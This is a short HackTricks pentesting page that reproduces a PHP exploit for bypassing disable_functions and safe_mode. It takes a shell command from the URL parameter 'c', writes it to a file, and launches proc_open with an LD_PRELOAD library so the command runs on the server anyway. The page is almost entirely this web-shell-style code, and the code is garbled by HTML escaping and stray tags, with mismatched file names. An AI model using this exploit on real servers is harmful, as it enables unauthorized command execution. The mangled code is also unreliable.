hacktricks/pentesting/pentesting-web/php-tricks-esp/php-useful-functions/disable_functions-bypass-php-safe_mode-bypass-via-proc_open-and-custom-environment-exploit.md

# disable\_functions bypass - PHP safe\_mode bypass via proc\_open\(\) and custom environment Exploit

## PHP safe\_mode bypass via proc\_open\(\) and custom environment Exploit

From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)

```php
<!--p $path="/var/www"; //change to your writable path $a=fopen($path."/.comm","w"); fputs($a,$_GET["c"]); fclose($a); $descriptorspec = array(  0--> array("pipe", "r"),
 1 =&gt; array("file", $path."/output.txt","w"),
 2 =&gt; array("file", $path."/errors.txt", "a" )
); $cwd = '.'; $env = array('LD_PRELOAD' =&gt; $path."/a.so"); $process = proc_open('id &gt; /tmp/a', $descriptorspec, $pipes, $cwd, $env); // example command - should not succeed sleep(1); $a=fopen($path."/.comm1","r");
echo "<strong>";
while (!feof($a))
{$b=fgets($a);echo $b;} fclose($a);
?&gt;;
</strong>
```